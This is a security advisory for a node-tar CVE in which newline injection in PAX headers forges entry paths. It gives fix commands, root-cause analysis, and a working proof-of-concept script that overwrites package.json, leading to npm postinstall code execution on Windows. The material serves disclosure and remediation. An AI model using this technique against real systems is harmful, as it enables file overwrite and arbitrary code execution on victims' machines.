CVE-2026-140238: node-tar Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-mpg7-vg3p-wc3m
CWE-93 CWE-22
Published
Advisory Summary

CVE-2026-140238 is a HIGH remote code execution vulnerability (CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')) affecting node-tar libraries in the npm ecosystem. The issue involves newline injection in pax extended-header records enables entry-attribute forgery (path overwrite → npm postinstall rce on windows). Remediation is available by upgrading affected packages to version 8.0.0.

CVE-2026-140238 at a Glance

CVE Identifier CVE-2026-140238
GHSA Identifier GHSA-mpg7-vg3p-wc3m
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
Affected Product node-tar
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-140238

To remediate this vulnerability, upgrade all affected node-tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tar fixed: 8.0.0
npm install tar@8.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls tar

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140238, inspect your project dependencies using npm:

npm ls tar

Analyze the terminal output to locate any version of node-tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.0), your application is affected.

Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection'), where the product uses crlf (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes crlf sequences from inputs. In node-tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary node-tar's PAX extended-header **record framing is not enforced by byte length**, so a newline embedded in any PAX value is reinterpreted on extraction as a record boundary. This lets an attacker forge arbitrary PAX records (`path`, `linkpath`, `size`, `uid`, ...) for an entry, overriding its real header-derived attributes. In the most damaging case this rewrites an entry's `path`, writing content to a location the archive's structure did not declare. This is distinct from the already-published PAX issues: `GHSA-gvwx-54wh-qm9j` is NUL-byte-in-PAX causing a DoS crash; this report is **newline-in-PAX causing silent record forgery / attribute override** — an integrity/path-overwrite primitive, not a crash. Verified end-to-end: overwriting `package.json` inside an installed npm package and executing an injected `postinstall` on a real Windows machine. ### Details ## Affected versions All versions up to and including 7.5.22 (reproduced on current `main`, commit `2a22bfc`). ## Root cause (two complementary bugs) **Extraction side — `src/pax.ts` `parseKV` (primary):** the PAX body is split on `\n` and each line is validated only by a per-line self-consistency check (`declaredLen === byteLength(line) + 1`). The PAX format frames records strictly by their declared byte length; this parser instead treats any newline inside a value as a record boundary, so bytes after an embedded newline become an independent, attacker-chosen record. The source already flags this: `// XXX Values with \n in them will fail this. Refactor to not be a naive line-by-line parse.` **Creation side — `src/pax.ts` `encodeField` (enabler / defense-in-depth):** PAX values are serialized with no escaping (`' ' + field + '=' + v + '\n'`), so a newline in a filename is written verbatim into the PAX body. This means even archives produced by node-tar itself, from a directory containing an attacker-planted filename, carry forged records. Accepted keys are whitelisted and applied to the entry via `Object.assign` in `ReadEntry#slurp` (`src/read-entry.ts`), overriding the genuine header values. ## Suggested fixes 1. **Root fix (extraction):** frame each PAX record strictly by its declared byte length; never treat a newline inside a value as a record boundary. 2. **Defense in depth (creation):** reject (or escape) values containing `\n` in `encodeField`; a newline in `path`/`linkpath` has no legitimate use and should be an error. 3. Regression test: create→extract with a newline-containing filename; assert the extracted path equals the declared entry path. ## Related (possibly already covered — flagging to avoid duplicate work) The same byte-length-vs-newline framing weakness also enables a `size`-desync family (metadata size-cap bypass, GEX-vs-EX size precedence, repack framing corruption, oversized-size padding DoS). These may overlap `GHSA-vmf3-w455-68vh` / `GHSA-8x88-c5mf-7j5w`; I've left them out of the core report to avoid duplicating fixed issues, but can provide PoCs if the size path is not yet fully closed. ### Proof of concept **PoC bundle (zip):** https://github.com/user-attachments/files/33712230/poc-bundle.zip — contains (A) the self-contained POSIX repro, (B) the real-Windows npm RCE kit (build.js + crafted evil-pkg-1.0.0.tgz + poc.ps1), and a win32 strip-bypass simulation. **(A) Extraction, no `strip` (POSIX & Windows) — path overwrite.** A file named `é\n21 path=package.json\n` is placed in `safe/`, packed with `prefix: 'bundle'`. The real entry path is `bundle/safe/é...`, but the forged `path=package.json` record overrides it, so extraction writes `package.json` at the extraction root, escaping the `bundle/safe/` prefix and overwriting a pre-existing `package.json`: ``` --- archive entries (as parsed) --- "bundle/safe/" Directory "bundle/safe/normal.txt" File "package.json" File <-- forged, escaped the prefix --- result --- out/package.json = "PWNED-BY-ATTACKER ..." *** VULNERABLE: package.json was overwritten *** ``` Minimal script (run against `dist/` of current HEAD): ```js const fs = require('fs'), path = require('path'), tar = require('tar') const root = '/tmp/poc', src = path.join(root,'src'), out = path.join(root,'out') fs.rmSync(src,{recursive:true,force:true}); fs.rmSync(out,{recursive:true,force:true}) fs.mkdirSync(path.join(src,'safe'),{recursive:true}); fs.mkdirSync(out,{recursive:true}) fs.writeFileSync(path.join(out,'package.json'),'ORIGINAL-CONTENT') fs.writeFileSync(path.join(src,'safe','é\n21 path=package.json\n'),'PWNED-BY-ATTACKER') ;(async () => { await tar.c({ file: path.join(root,'pkg.tar'), cwd: src, prefix: 'bundle' }, ['safe']) await tar.x({ file: path.join(root,'pkg.tar'), cwd: out }) console.log('out/package.json =', fs.readFileSync(path.join(out,'package.json'),'utf8')) })() ``` **(B) npm install on Windows — postinstall RCE.** With npm's `strip: 1`, the Windows-only `normalizeWindowsPath` turns an injected `x\package.json` into two components `x/package.json`; `strip:1` removes `x`, leaving `package.json`, which overwrites the installed package's `package.json` and runs its injected `postinstall`. Verified on Windows Server 2022, Node v22.14.0, npm 10.9.2 — `npm install` completed and ran a `postinstall` that was not present in the published package.json, writing an arbitrary file. (On POSIX, `\` is a normal filename byte and the injected value cannot contain `/`, so npm's `strip:1` happens to reduce it to empty — POSIX+npm is incidentally safe; direct node-tar use without `strip` is not.) ### Impact An attacker who controls part of the material being archived (e.g. a filename committed into a directory of a legitimate package) or who crafts an archive directly can forge the PAX attributes of extracted entries. The highest-impact use is forging an entry's `path`: - **Direct node-tar use without `strip` (POSIX & Windows):** files are written to locations the archive structure did not declare — e.g. escaping an intended `prefix`/subdirectory and overwriting arbitrary files under the extraction target (verified). Also enables entry smuggling (listing vs. extraction disagree) and silent content truncation. - **npm install on Windows (`strip: 1`):** `package.json` of an installed package is overwritten and its injected `postinstall` script executes — arbitrary code execution during `npm install`. Verified end-to-end on real Windows. Anyone extracting archives built from partially-attacker-controlled trees (CI artifact pipelines, repack services, package publishing), and Windows users installing a malicious npm package, are impacted.

CVE-2026-140238 Affected node-tar Versions

1 component(s)
Fixed Versions:
8.0.0
Product / Package Ecosystem Affected Versions Fixed Version
tar
npm
< 8.0.0
8.0.0

References

Frequently Asked Questions

What is CVE-2026-140238?
CVE-2026-140238 is a security vulnerability in node-tar involving Newline injection in PAX extended-header records enables entry-attribute forgery (path overwrite → npm postinstall RCE on Windows) under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').
Which node-tar versions are affected?
Affected versions include releases prior to 8.0.0 across affected packages: tar.
What version fixes CVE-2026-140238?
Upgrading to 8.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tar affected?
Yes, tar is affected in releases prior to 8.0.0. Upgrade your dependency to 8.0.0 or later.
What CWE is associated with CVE-2026-140238?
CVE-2026-140238 is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.).
How can I check npm dependencies for CVE-2026-140238?
Run the dependency tree command: 'npm ls tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mpg7-vg3p-wc3m",
  "modified" : "2026-12-02T01:26:18Z",
  "published" : "2026-12-02T01:26:18Z",
  "aliases" : [ "CVE-2026-140238" ],
  "summary" : "node-tar: Newline injection in PAX extended-header records enables entry-attribute forgery (path overwrite → npm postinstall RCE on Windows)",
  "details" : "### Summary\n\nnode-tar's PAX extended-header **record framing is not enforced by byte length**, so a newline embedded in any PAX value is reinterpreted on extraction as a record boundary. This lets an attacker forge arbitrary PAX records (`path`, `linkpath`, `size`, `uid`, ...) for an entry, overriding its real header-derived attributes. In the most damaging case this rewrites an entry's `path`, writing content to a location the archive's structure did not declare.\n\nThis is distinct from the already-published PAX issues: `GHSA-gvwx-54wh-qm9j` is NUL-byte-in-PAX causing a DoS crash; this report is **newline-in-PAX causing silent record forgery / attribute override** — an integrity/path-overwrite primitive, not a crash. Verified end-to-end: overwriting `package.json` inside an installed npm package and executing an injected `postinstall` on a real Windows machine.\n\n### Details\n\n## Affected versions\nAll versions up to and including 7.5.22 (reproduced on current `main`, commit `2a22bfc`).\n\n## Root cause (two complementary bugs)\n\n**Extraction side — `src/pax.ts` `parseKV` (primary):** the PAX body is split on `\\n` and each line is validated only by a per-line self-consistency check (`declaredLen === byteLength(line) + 1`). The PAX format frames records strictly by their declared byte length; this parser instead treats any newline inside a value as a record boundary, so bytes after an embedded newline become an independent, attacker-chosen record. The source already flags this: `// XXX Values with \\n in them will fail this. Refactor to not be a naive line-by-line parse.`\n\n**Creation side — `src/pax.ts` `encodeField` (enabler / defense-in-depth):** PAX values are serialized with no escaping (`' ' + field + '=' + v + '\\n'`), so a newline in a filename is written verbatim into the PAX body. This means even archives produced by node-tar itself, from a directory containing an attacker-planted filename, carry forged records.\n\nAccepted keys are whitelisted and applied to the entry via `Object.assign` in `ReadEntry#slurp` (`src/read-entry.ts`), overriding the genuine header values.\n\n## Suggested fixes\n1. **Root fix (extraction):** frame each PAX record strictly by its declared byte length; never treat a newline inside a value as a record boundary.\n2. **Defense in depth (creation):** reject (or escape) values containing `\\n` in `encodeField`; a newline in `path`/`linkpath` has no legitimate use and should be an error.\n3. Regression test: create→extract with a newline-containing filename; assert the extracted path equals the declared entry path.\n\n## Related (possibly already covered — flagging to avoid duplicate work)\nThe same byte-length-vs-newline framing weakness also enables a `size`-desync family (metadata size-cap bypass, GEX-vs-EX size precedence, repack framing corruption, oversized-size padding DoS). These may overlap `GHSA-vmf3-w455-68vh` / `GHSA-8x88-c5mf-7j5w`; I've left them out of the core report to avoid duplicating fixed issues, but can provide PoCs if the size path is not yet fully closed.\n\n### Proof of concept\n\n**PoC bundle (zip):** https://github.com/user-attachments/files/33712230/poc-bundle.zip — contains (A) the self-contained POSIX repro, (B) the real-Windows npm RCE kit (build.js + crafted evil-pkg-1.0.0.tgz + poc.ps1), and a win32 strip-bypass simulation.\n\n**(A) Extraction, no `strip` (POSIX & Windows) — path overwrite.** A file named `é\\n21 path=package.json\\n` is placed in `safe/`, packed with `prefix: 'bundle'`. The real entry path is `bundle/safe/é...`, but the forged `path=package.json` record overrides it, so extraction writes `package.json` at the extraction root, escaping the `bundle/safe/` prefix and overwriting a pre-existing `package.json`:\n\n```\n--- archive entries (as parsed) ---\n\"bundle/safe/\" Directory\n\"bundle/safe/normal.txt\" File\n\"package.json\" File              <-- forged, escaped the prefix\n--- result ---\nout/package.json = \"PWNED-BY-ATTACKER ...\"\n*** VULNERABLE: package.json was overwritten ***\n```\n\nMinimal script (run against `dist/` of current HEAD):\n\n```js\nconst fs = require('fs'), path = require('path'), tar = require('tar')\nconst root = '/tmp/poc', src = path.join(root,'src'), out = path.join(root,'out')\nfs.rmSync(src,{recursive:true,force:true}); fs.rmSync(out,{recursive:true,force:true})\nfs.mkdirSync(path.join(src,'safe'),{recursive:true}); fs.mkdirSync(out,{recursive:true})\nfs.writeFileSync(path.join(out,'package.json'),'ORIGINAL-CONTENT')\nfs.writeFileSync(path.join(src,'safe','é\\n21 path=package.json\\n'),'PWNED-BY-ATTACKER')\n;(async () => {\n  await tar.c({ file: path.join(root,'pkg.tar'), cwd: src, prefix: 'bundle' }, ['safe'])\n  await tar.x({ file: path.join(root,'pkg.tar'), cwd: out })\n  console.log('out/package.json =', fs.readFileSync(path.join(out,'package.json'),'utf8'))\n})()\n```\n\n**(B) npm install on Windows — postinstall RCE.** With npm's `strip: 1`, the Windows-only `normalizeWindowsPath` turns an injected `x\\package.json` into two components `x/package.json`; `strip:1` removes `x`, leaving `package.json`, which overwrites the installed package's `package.json` and runs its injected `postinstall`. Verified on Windows Server 2022, Node v22.14.0, npm 10.9.2 — `npm install` completed and ran a `postinstall` that was not present in the published package.json, writing an arbitrary file. (On POSIX, `\\` is a normal filename byte and the injected value cannot contain `/`, so npm's `strip:1` happens to reduce it to empty — POSIX+npm is incidentally safe; direct node-tar use without `strip` is not.)\n\n### Impact\n\nAn attacker who controls part of the material being archived (e.g. a filename committed into a directory of a legitimate package) or who crafts an archive directly can forge the PAX attributes of extracted entries. The highest-impact use is forging an entry's `path`:\n\n- **Direct node-tar use without `strip` (POSIX & Windows):** files are written to locations the archive structure did not declare — e.g. escaping an intended `prefix`/subdirectory and overwriting arbitrary files under the extraction target (verified). Also enables entry smuggling (listing vs. extraction disagree) and silent content truncation.\n- **npm install on Windows (`strip: 1`):** `package.json` of an installed package is overwritten and its injected `postinstall` script executes — arbitrary code execution during `npm install`. Verified end-to-end on real Windows.\n\nAnyone extracting archives built from partially-attacker-controlled trees (CI artifact pipelines, repack services, package publishing), and Windows users installing a malicious npm package, are impacted.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-mpg7-vg3p-wc3m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140238"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/f351e5b4a8916bc8c8f821d0ad926a17d26ea237"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-93" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-02T01:26:18Z",
    "nvd_published_at" : "2026-12-01T18:17:27Z"
  }
}